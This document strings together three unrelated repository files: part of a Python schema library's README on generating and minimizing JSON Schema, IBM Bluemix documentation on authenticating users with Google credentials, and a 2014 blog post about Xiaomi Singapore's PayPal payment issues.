`Regular expressions <https://json-schema.org/understanding-json-schema/reference/regular_expressions.html>`_
    Use ``Regex``.

    Example:

    ``Regex("^v\d+")`` becomes

    ``{'type': 'string', 'pattern': '^v\\d+'}``

`Annotations (title and description) <https://json-schema.org/understanding-json-schema/reference/generic.html#annotations>`_
    You can use the ``name`` and ``description`` parameters of the ``Schema`` object init method.

    To add description to keys, replace a str with a ``Literal`` object.

    Example:

    ``Schema({Literal("test", description="A description"): str})``

    is equivalent to

    ``Schema({"test": str})``

    with the description added to the resulting JSON schema.

`Combining schemas with allOf <https://json-schema.org/understanding-json-schema/reference/combining.html#allof>`_
    Use ``And``

    Example:

    ``Schema(And(str, "value")``

    becomes

    ``{"allOf": [{"type": "string"}, {"const": "value"}]}``

    Note that this example is not really useful in the real world, since ``const`` already implies the type.

`Combining schemas with anyOf <https://json-schema.org/understanding-json-schema/reference/combining.html#anyof>`_
    Use ``Or``

    Example:

    ``Schema(Or(str, int))``

    becomes

    ``{"anyOf": [{"type": "string"}, {"type": "integer"}]}``

Not implemented
'''''''''''''''

The following JSON schema validations cannot be generated from this library.

- `String length <https://json-schema.org/understanding-json-schema/reference/string.html#length>`_
    However, those can be implemented using ``Regex``
- `String format <https://json-schema.org/understanding-json-schema/reference/string.html#format>`_
    However, those can be implemented using ``Regex``
- `Object dependencies <https://json-schema.org/understanding-json-schema/reference/object.html#dependencies>`_
- `Array length <https://json-schema.org/understanding-json-schema/reference/array.html#length>`_
- `Array uniqueness <https://json-schema.org/understanding-json-schema/reference/array.html#uniqueness>`_
- `Numeric multiples <https://json-schema.org/understanding-json-schema/reference/numeric.html#multiples>`_
- `Numeric ranges <https://json-schema.org/understanding-json-schema/reference/numeric.html#range>`_
- `Property Names <https://json-schema.org/understanding-json-schema/reference/object.html#property-names>`_
    Not implemented. We suggest listing the possible keys instead. As a tip, you can use ``Or`` as a dict key.

    Example:

    ``Schema({Or("name1", "name2"): str})``
- `Annotations (default and examples) <https://json-schema.org/understanding-json-schema/reference/generic.html#annotations>`_
- `Combining schemas with oneOf <https://json-schema.org/understanding-json-schema/reference/combining.html#oneof>`_
- `Not <https://json-schema.org/understanding-json-schema/reference/combining.html#not>`_
- `Object size <https://json-schema.org/understanding-json-schema/reference/object.html#size>`_

JSON: Minimizing output size
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Explicit Reuse
''''''''''''''

If your JSON schema is big and has a lot of repetition, it can be made simpler and smaller by defining Schema objects as reference.
These references will be placed in a "definitions" section in the main schema.

`You can look at the JSON schema documentation for more information <https://json-schema.org/understanding-json-schema/structuring.html#reuse>`_

.. code:: python

    >>> from schema import Optional, Schema
    >>> import json
    >>> s = Schema({"test": str,
    ...             "nested": Schema({Optional("other"): str}, name="nested", as_reference=True)
    ...             })
    >>> json_schema = json.dumps(s.json_schema("https://example.com/my-schema.json"), indent=4)

    # json_schema
    {
        "type": "object",
        "properties": {
            "test": {
                "type": "string"
            },
            "nested": {
                "$ref": "#/definitions/nested"
            }
        },
        "required": [
            "test",
            "nested"
        ],
        "additionalProperties": false,
        "$id": "https://example.com/my-schema.json",
        "$schema": "http://json-schema.org/draft-07/schema#",
        "definitions": {
            "nested": {
                "type": "object",
                "properties": {
                    "other": {
                        "type": "string"
                    }
                },
                "required": [],
                "additionalProperties": false
            }
        }
    }

This becomes really useful when using the same object several times

.. code:: python

    >>> from schema import Optional, Or, Schema
    >>> import json
    >>> language_configuration = Schema({"autocomplete": bool, "stop_words": [str]}, name="language", as_reference=True)
    >>> s = Schema({Or("ar", "cs", "de", "el", "eu", "en", "es", "fr"): language_configuration})
    >>> json_schema = json.dumps(s.json_schema("https://example.com/my-schema.json"), indent=4)

    # json_schema
    {
        "type": "object",
        "properties": {
            "ar": {
                "$ref": "#/definitions/language"
            },
            "cs": {
                "$ref": "#/definitions/language"
            },
            "de": {
                "$ref": "#/definitions/language"
            },
            "el": {
                "$ref": "#/definitions/language"
            },
            "eu": {
                "$ref": "#/definitions/language"
            },
            "en": {
                "$ref": "#/definitions/language"
            },
            "es": {
                "$ref": "#/definitions/language"
            },
            "fr": {
                "$ref": "#/definitions/language"
            }
        },
        "required": [],
        "additionalProperties": false,
        "$id": "https://example.com/my-schema.json",
        "$schema": "http://json-schema.org/draft-07/schema#",
        "definitions": {
            "language": {
                "type": "object",
                "properties": {
                    "autocomplete": {
                        "type": "boolean"
                    },
                    "stop_words": {
                        "type": "array",
                        "items": {
                            "type": "string"
                        }
                    }
                },
                "required": [
                    "autocomplete",
                    "stop_words"
                ],
                "additionalProperties": false
            }
        }
    }

Automatic reuse
'''''''''''''''

If you want to minimize the output size without using names explicitly, you can have the library generate hashes of parts of the output JSON
schema and use them as references throughout.

Enable this behaviour by providing the parameter ``use_refs`` to the json_schema method.

Be aware that this method is less often compatible with IDEs and JSON schema libraries.
It produces a JSON schema that is more difficult to read by humans.

.. code:: python

    >>> from schema import Optional, Or, Schema
    >>> import json
    >>> language_configuration = Schema({"autocomplete": bool, "stop_words": [str]})
    >>> s = Schema({Or("ar", "cs", "de", "el", "eu", "en", "es", "fr"): language_configuration})
    >>> json_schema = json.dumps(s.json_schema("https://example.com/my-schema.json", use_refs=True), indent=4)

    # json_schema
    {
        "type": "object",
        "properties": {
            "ar": {
                "type": "object",
                "properties": {
                    "autocomplete": {
                        "type": "boolean",
                        "$id": "#6456104181059880193"
                    },
                    "stop_words": {
                        "type": "array",
                        "items": {
                            "type": "string",
                            "$id": "#1856069563381977338"
                        }
                    }
                },
                "required": [
                    "autocomplete",
                    "stop_words"
                ],
                "additionalProperties": false
            },
            "cs": {
                "type": "object",
                "properties": {
                    "autocomplete": {
                        "$ref": "#6456104181059880193"
                    },
                    "stop_words": {
                        "type": "array",
                        "items": {
                            "$ref": "#1856069563381977338"
                        },
                        "$id": "#-5377945144312515805"
                    }
                },
                "required": [
                    "autocomplete",
                    "stop_words"
                ],
                "additionalProperties": false
            },
            "de": {
                "type": "object",
                "properties": {
                    "autocomplete": {
                        "$ref": "#6456104181059880193"
                    },
                    "stop_words": {
                        "$ref": "#-5377945144312515805"
                    }
                },
                "required": [
                    "autocomplete",
                    "stop_words"
                ],
                "additionalProperties": false,
                "$id": "#-8142886105174600858"
            },
            "el": {
                "$ref": "#-8142886105174600858"
            },
            "eu": {
                "$ref": "#-8142886105174600858"
            },
            "en": {
                "$ref": "#-8142886105174600858"
            },
            "es": {
                "$ref": "#-8142886105174600858"
            },
            "fr": {
                "$ref": "#-8142886105174600858"
            }
        },
        "required": [],
        "additionalProperties": false,
        "$id": "https://example.com/my-schema.json",
        "$schema": "http://json-schema.org/draft-07/schema#"
    }

repository: avineshwar/schema

extension: rst

repo_name: avineshwar/schema


text:
---

copyright:
  years: 2015, 2016
lastupdated: "2016-10-02"
---
{:screen:  .screen}
{:shortdesc: .shortdesc}
{:codeblock: .codeblock}

# Authenticating users with Google credentials
{: #google-auth}

You can configure the {{site.data.keyword.amafull}} service to protect resources, using Google as an identity provider. Your mobile or web application users can then use their Google credentials for authentication.
{:shortdesc}

**Important:** You do not need to separately install the client SDK provided by Google. The Google SDK installs automatically by dependency managers when you configure the {{site.data.keyword.amashort}} client SDK.

## {{site.data.keyword.amashort}} request flow
{: #google-auth-overview}

### Client request flow

See the following diagram to understand how {{site.data.keyword.amashort}} integrates with Google for authentication.

![Client request flow diagram](images/mca-sequence-google.jpg)

* Use the {{site.data.keyword.amashort}} SDK to make a request to your back-end resources that are protected  with the {{site.data.keyword.amashort}} server SDK.
* The {{site.data.keyword.amashort}} server SDK detects the unauthorized request and returns an HTTP 401 code and authorization scope.
* The {{site.data.keyword.amashort}} client SDK automatically detects the HTTP 401 code and starts the authentication process.
* The {{site.data.keyword.amashort}} client SDK  contacts the {{site.data.keyword.amashort}} service and requests an authorization header.
* The {{site.data.keyword.amashort}} service asks the client to authenticate with Google first by supplying an authentication challenge.
* The {{site.data.keyword.amashort}} client SDK uses the Google SDK to start the authentication process. After successful authentication, the Google SDK returns a Google access token.
* The Google access token is considered an authentication challenge answer. The token is sent to the {{site.data.keyword.amashort}} service.
* The service validates the authentication challenge answer with Google servers.
* If validation is successful, the {{site.data.keyword.amashort}} service generates an authorization header and returns it to the {{site.data.keyword.amashort}} client SDK. The authorization header contains two tokens: an access token that contains access permissions information, and ID token that contains information about the current user, device, and application.
* From this point on, all requests that are made through the {{site.data.keyword.amashort}} client SDK  have a newly obtained authorization header.
* The {{site.data.keyword.amashort}} client SDK automatically resends the original request that triggered the authorization flow.
* The {{site.data.keyword.amashort}} server SDK extracts the authorization header from the request, validates it with the {{site.data.keyword.amashort}} service, and grants access to a back-end resource.

### {{site.data.keyword.amashort}} web application request flow
{: #mca-google-web-sequence}
The {{site.data.keyword.amashort}} web application request flow is similar to the mobile client flow. However, {{site.data.keyword.amashort}} protects the web application, rather than a {{site.data.keyword.Bluemix_notm}} back-end resource.

  * The initial request is sent by the web application (from a log-in form, for example).
  * The final redirect is to the protected area of the web application itself, rather than back-end protected resource.

## Next steps
{: #google-auth-nextsteps}

* [Enabling Google authentication for Android apps](google-auth-android.html)
* [Enabling Google authentication for iOS apps (Swift SDK)](google-auth-ios-swift-sdk.html)
* [Enabling Google authentication for iOS apps (Objective-C SDK)](google-auth-ios.html)
* [Enabling Google authentication for Cordova apps](google-auth-cordova.html)

repository: kKronstainBrown/docs

repo_name: kKronstainBrown/docs


text:
---
layout: post
title: "Xiaomi Singapore Is Facing Payment Issues (Updated)"
date: 2014-03-28 09:57:07 +0800
comments: true
categories: "EComerce"
description: "Xiaomi Singapore is facing payment issues with Paypal after hot sell at 27 March 1200pm."
keywords: "Xiaomi Singapore, Redmi, Paypal "
cover: "https://lh5.googleusercontent.com/-K29I6ZPBl1U/UzTYXwwVCrI/AAAAAAAABkE/SKDas003qWs/s600/Readmi%2520Hot%2520Sell.jpg"
---
{% img https://lh5.googleusercontent.com/-K29I6ZPBl1U/UzTYXwwVCrI/AAAAAAAABkE/SKDas003qWs/s640/Readmi%2520Hot%2520Sell.jpg %}
At 1200pm Singapore time, March 27 2014, Xiaomi started a new round sell of its Redmi Phone. According to its statement, 5000 sets were sold out in 4 min 42 sec. Very soon after paying via PayPal, happy customers found xiaomi is still waiting for payment on their website.
<!-- more -->
{% img https://lh6.googleusercontent.com/-RcEq6Z3rze0/UzTYRaYwFxI/AAAAAAAABjs/hlYJQk5IuOQ/s640/Xiaomi%2520Waiting%2520Payment.png %}
Some people love Redmi so much that they made multiple payments in afraid of losing it, some Mi fans saied they made 4 times payments on Xiaomi Singapore's [Facebook page]("https://www.facebook.com/pages/Xiaomi-Singapore/535405486500557").
Xiaomi stated that there were issues with Paypal, who was not able to pass back right information to confirm the payments. Xiaomi created the hash tag `#PayPal27Mar`, indicating PayPal is liable. However, it seems Xiaomis is the only affected company. No user complained on [PayPal's fan page]("https://www.facebook.com/PayPal").
The issue is unsolved after 22 hours.

#### Update 1
PayPal credited 75 SGD to my account as a token of appreciation.

#### Update 2
Xiaomi gave a red RedMi case.

repository: huqiang/octopress

repo_name: huqiang/octopress